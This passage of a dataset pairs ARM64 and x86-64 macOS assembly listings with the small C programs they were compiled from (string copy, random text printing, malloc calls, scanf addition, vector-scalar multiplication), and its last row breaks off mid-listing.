arm
stringlengths 122
20M
| x86
stringlengths 122
20M
| filename
stringlengths 18
26
|
---|---|---|
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_strcpy ; -- Begin function ft_strcpy
.p2align 2
_ft_strcpy: ; @ft_strcpy
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #24]
ldrsw x10, [sp, #12]
add x9, x9, x10
strb w8, [x9]
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_3:
ldr x8, [sp, #24]
ldrsw x9, [sp, #12]
add x8, x8, x9
strb wzr, [x8]
ldr x0, [sp, #24]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_strcpy ## -- Begin function ft_strcpy
.p2align 4, 0x90
_ft_strcpy: ## @ft_strcpy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movb %dl, (%rax,%rcx)
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_3:
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/26854.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
; kill: def $x8 killed $xzr
str xzr, [sp, #8]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_1
LBB0_1:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
add x1, sp, #8
mov w2, #10
bl _strtol
mov x8, x0
mov x9, x0
str w9, [sp, #4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_4:
mov w0, #0
str w0, [sp] ; 4-byte Folded Spill
bl _srandom
ldr w1, [sp, #4]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _write_random_pieces
ldr w0, [sp] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _write_random_pieces ; -- Begin function write_random_pieces
.p2align 2
_write_random_pieces: ; @write_random_pieces
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x0, [x29, #-8]
bl _strlen
mov x8, x0
stur w8, [x29, #-24]
ldur w8, [x29, #-12]
ldur w9, [x29, #-24]
mul w8, w8, w9
stur w8, [x29, #-28]
stur wzr, [x29, #-32]
b LBB1_1
LBB1_1: ; =>This Loop Header: Depth=1
; Child Loop BB1_5 Depth 2
ldur w8, [x29, #-32]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_11
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
bl _rand
mov w9, #5
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
add w8, w8, #3
stur w8, [x29, #-36]
ldur w8, [x29, #-28]
ldur w9, [x29, #-32]
subs w8, w8, w9
str w8, [sp, #40]
ldur w8, [x29, #-36]
ldr w9, [sp, #40]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #40]
stur w8, [x29, #-36]
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
str wzr, [sp, #36]
b LBB1_5
LBB1_5: ; Parent Loop BB1_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #36]
ldur w9, [x29, #-36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_8
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_5 Depth=2
ldur x8, [x29, #-8]
ldur w9, [x29, #-32]
ldr w10, [sp, #36]
add w9, w9, w10
ldur w11, [x29, #-24]
sdiv w10, w9, w11
mul w10, w10, w11
subs w9, w9, w10
add x8, x8, w9, sxtw
ldrb w8, [x8]
ldrsw x10, [sp, #36]
sub x9, x29, #19
add x9, x9, x10
strb w8, [x9]
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_5 Depth=2
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB1_5
LBB1_8: ; in Loop: Header=BB1_1 Depth=1
ldursw x2, [x29, #-36]
mov w0, #1
sub x1, x29, #19
bl _write
ldursw x8, [x29, #-36]
subs x8, x0, x8
cset w8, eq
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB1_10: ; in Loop: Header=BB1_1 Depth=1
ldur w9, [x29, #-36]
ldur w8, [x29, #-32]
add w8, w8, w9
stur w8, [x29, #-32]
add x8, sp, #16
str x8, [sp, #8] ; 8-byte Folded Spill
str xzr, [sp, #16]
bl _random
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov x10, #49664
movk x10, #3051, lsl #16
sdiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
add x8, x8, #1
str x8, [sp, #24]
mov x1, #0
bl _nanosleep
b LBB1_1
LBB1_11:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Usage: randprint num_times\n"
l_.str.1: ; @.str.1
.asciz "A stitch in time\r\n"
l_.str.2: ; @.str.2
.asciz "write"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq $0, -24(%rbp)
cmpl $2, -8(%rbp)
jne LBB0_3
## %bb.1:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq -24(%rbp), %rsi
movl $10, %edx
callq _strtol
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
cmpl $0, %eax
je LBB0_3
## %bb.2:
movq -24(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
je LBB0_4
LBB0_3:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_4:
xorl %edi, %edi
callq _srandom
movl -28(%rbp), %esi
leaq L_.str.1(%rip), %rdi
callq _write_random_pieces
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _write_random_pieces ## -- Begin function write_random_pieces
.p2align 4, 0x90
_write_random_pieces: ## @write_random_pieces
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -24(%rbp)
movl -12(%rbp), %eax
imull -24(%rbp), %eax
movl %eax, -28(%rbp)
movl $0, -32(%rbp)
LBB1_1: ## =>This Loop Header: Depth=1
## Child Loop BB1_5 Depth 2
movl -32(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB1_11
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
callq _rand
movl $5, %ecx
cltd
idivl %ecx
addl $3, %edx
movl %edx, -36(%rbp)
movl -28(%rbp), %eax
subl -32(%rbp), %eax
movl %eax, -40(%rbp)
movl -36(%rbp), %eax
cmpl -40(%rbp), %eax
jle LBB1_4
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -40(%rbp), %eax
movl %eax, -36(%rbp)
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
movl $0, -44(%rbp)
LBB1_5: ## Parent Loop BB1_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -44(%rbp), %eax
cmpl -36(%rbp), %eax
jge LBB1_8
## %bb.6: ## in Loop: Header=BB1_5 Depth=2
movq -8(%rbp), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
movl -32(%rbp), %eax
addl -44(%rbp), %eax
cltd
idivl -24(%rbp)
movq -72(%rbp), %rax ## 8-byte Reload
movslq %edx, %rcx
movb (%rax,%rcx), %cl
movslq -44(%rbp), %rax
movb %cl, -19(%rbp,%rax)
## %bb.7: ## in Loop: Header=BB1_5 Depth=2
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB1_5
LBB1_8: ## in Loop: Header=BB1_1 Depth=1
leaq -19(%rbp), %rsi
movslq -36(%rbp), %rdx
movl $1, %edi
callq _write
movslq -36(%rbp), %rcx
cmpq %rcx, %rax
je LBB1_10
## %bb.9:
leaq L_.str.2(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB1_10: ## in Loop: Header=BB1_1 Depth=1
movl -36(%rbp), %eax
addl -32(%rbp), %eax
movl %eax, -32(%rbp)
movq $0, -64(%rbp)
callq _random
movl $200000000, %ecx ## imm = 0xBEBC200
cqto
idivq %rcx
addq $1, %rdx
movq %rdx, -56(%rbp)
leaq -64(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _nanosleep
jmp LBB1_1
LBB1_11:
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Usage: randprint num_times\n"
L_.str.1: ## @.str.1
.asciz "A stitch in time\r\n"
L_.str.2: ## @.str.2
.asciz "write"
.subsections_via_symbols
| the_stack_data/181392662.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
mov x0, #4
str x0, [sp] ; 8-byte Folded Spill
bl _malloc
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
str x8, [sp, #16]
bl _malloc
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
str x8, [sp, #16]
bl _malloc
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
str x8, [sp, #16]
bl _malloc
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
str x8, [sp, #16]
bl _malloc
mov x8, x0
ldr w0, [sp, #12] ; 4-byte Folded Reload
str x8, [sp, #16]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movq $0, -16(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -16(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -16(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -16(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -16(%rbp)
movl $4, %edi
callq _malloc
movq %rax, -16(%rbp)
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/47275.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [sp, #8] ; 8-byte Folded Spill
bl __isoc99_scanf
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
sub x8, x29, #12
str x8, [x9]
bl __isoc99_scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w0, [sp, #16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq __isoc99_scanf
leaq L_.str(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq __isoc99_scanf
movl -8(%rbp), %esi
addl -12(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/792871.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/1016769.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #64
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
sub x0, x29, #16
bl _check_intInput
ldur w8, [x29, #-16]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB0_2:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
sub x0, x29, #20
bl _check_intInput
ldur w8, [x29, #-16]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-32]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-64] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-64] ; 8-byte Folded Reload
mov x9, sp
subs x0, x9, x10
stur x0, [x29, #-56] ; 8-byte Folded Spill
mov sp, x0
stur x8, [x29, #-40]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur x0, [x29, #-56] ; 8-byte Folded Reload
ldur w1, [x29, #-16]
bl _fill_array
ldur x0, [x29, #-56] ; 8-byte Folded Reload
ldur w1, [x29, #-16]
ldur w2, [x29, #-20]
bl _vector_scalar_multiply
stur wzr, [x29, #-12]
ldur x8, [x29, #-32]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-44] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
bl ___stack_chk_fail
LBB0_4:
ldur w0, [x29, #-44] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _check_intInput ; -- Begin function check_intInput
.p2align 2
_check_intInput: ; @check_intInput
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _fill_array ; -- Begin function fill_array
.p2align 2
_fill_array: ; @fill_array
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str wzr, [sp, #16]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _scanf
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB2_1
LBB2_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _vector_scalar_multiply ; -- Begin function vector_scalar_multiply
.p2align 2
_vector_scalar_multiply: ; @vector_scalar_multiply
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str w2, [sp, #16]
str wzr, [sp, #12]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #16]
mul w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB3_1
LBB3_4:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter dimension: "
l_.str.1: ; @.str.1
.asciz "dimension > 0 !"
l_.str.2: ; @.str.2
.asciz "Enter scalar: "
l_.str.3: ; @.str.3
.asciz "Enter vector members : "
l_.str.4: ; @.str.4
.asciz "%d "
l_.str.5: ; @.str.5
.asciz "%d"
l_.str.6: ; @.str.6
.asciz "Not digit!"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -16(%rbp), %rdi
callq _check_intInput
cmpl $0, -16(%rbp)
jg LBB0_2
## %bb.1:
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB0_2:
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
leaq -20(%rbp), %rdi
callq _check_intInput
movl -16(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -64(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -32(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -64(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -56(%rbp) ## 8-byte Spill
movq %rax, -40(%rbp)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movq -56(%rbp), %rdi ## 8-byte Reload
movl -16(%rbp), %esi
callq _fill_array
movq -56(%rbp), %rdi ## 8-byte Reload
movl -16(%rbp), %esi
movl -20(%rbp), %edx
callq _vector_scalar_multiply
movl $0, -12(%rbp)
movq -32(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -44(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_4
## %bb.3:
movl -44(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB0_4:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _check_intInput ## -- Begin function check_intInput
.p2align 4, 0x90
_check_intInput: ## @check_intInput
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _scanf
cmpl $1, %eax
je LBB1_2
## %bb.1:
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _fill_array ## -- Begin function fill_array
.p2align 4, 0x90
_fill_array: ## @fill_array
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rsi
movslq -16(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _scanf
cmpl $1, %eax
je LBB2_4
## %bb.3:
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB2_1
LBB2_6:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _vector_scalar_multiply ## -- Begin function vector_scalar_multiply
.p2align 4, 0x90
_vector_scalar_multiply: ## @vector_scalar_multiply
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl $0, -20(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movl (%rax,%rcx,4), %esi
imull -16(%rbp), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB3_1
LBB3_4:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter dimension: "
L_.str.1: ## @.str.1
.asciz "dimension > 0 !"
L_.str.2: ## @.str.2
.asciz "Enter scalar: "
L_.str.3: ## @.str.3
.asciz "Enter vector members : "
L_.str.4: ## @.str.4
.asciz "%d "
L_.str.5: ## @.str.5
.asciz "%d"
L_.str.6: ## @.str.6
.asciz "Not digit!"
.subsections_via_symbols
| the_stack_data/178265226.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
